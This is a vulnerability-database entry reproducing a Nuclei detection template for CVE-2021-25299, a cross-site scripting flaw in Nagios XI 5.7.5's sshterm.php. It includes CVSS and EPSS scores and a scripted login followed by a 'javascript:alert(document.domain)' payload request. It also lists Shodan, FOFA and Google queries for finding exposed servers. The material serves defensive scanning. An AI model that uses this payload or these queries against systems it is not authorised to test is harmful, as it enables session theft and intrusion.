Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-25299
HistoryFeb 21, 2023 - 8:44 a.m.

Nagios XI 5.7.5 - Cross-Site Scripting

2023-02-2108:44:36
ProjectDiscovery
github.com
9
cve-2021
nagios
nagiosxi
cross-site scripting
xss
authenticated
sshterm file

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.964

Percentile

99.6%

Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with the previous bugs to get one-click remote command execution on the Nagios XI server.
id: CVE-2021-25299

info:
  name: Nagios XI 5.7.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with the previous bugs to get one-click remote command execution on the Nagios XI server.
  remediation: |
    Upgrade Nagios XI to the latest version or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md#cve-2021-25299
    - http://nagios.com
    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25299
    - https://assets.nagios.com/downloads/nagiosxi/versions.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25299
    cwe-id: CWE-79
    epss-score: 0.9644
    epss-percentile: 0.99577
    cpe: cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: nagios
    product: nagios_xi
    shodan-query:
      - title:"Nagios XI"
      - http.title:"nagios xi"
    fofa-query:
      - title="nagios xi"
      - app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve2021,cve,nagios,nagiosxi,xss,authenticated

http:
  - raw:
      - |
        GET /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=
      - |
        GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(header_3, 'text/html')"
          - "status_code_3 == 200"
          - 'contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")'
        condition: and

    extractors:
      - type: regex
        name: nsp
        group: 1
        regex:
          - 'name="nsp" value="(.*)">'
        internal: true
        part: body
# digest: 4b0a0048304602210092675b0c47ea89040420015957cfac465b1ce8b326c306fe4f449a58f5bc16600221008637625e195b7c2b5e6472542d8203ae20810663c57ef547a3cf8ac55eef0ea3:922c64590222798bb761d5b6d8e72950

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.964

Percentile

99.6%